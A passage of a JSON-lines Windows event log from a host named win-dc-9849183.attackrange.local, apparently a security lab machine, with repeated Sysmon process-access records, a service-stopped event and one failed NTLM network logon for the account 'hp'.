:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2376,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2377,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2378,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2379,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2380,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2381,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76822,"ProcessID":852,"ThreadID":1108,"Channel":"System","Message":"The NcaSvc service entered the stopped state.","param1":"NcaSvc","param2":"stopped","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2382,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+827d|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+827d|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:21","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221597,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\thp\r\n\tAccount Domain:\t\t\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t78.37.23.127\r\n\tSource Port:\t\t49602\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetUserName":"hp","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"49602","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 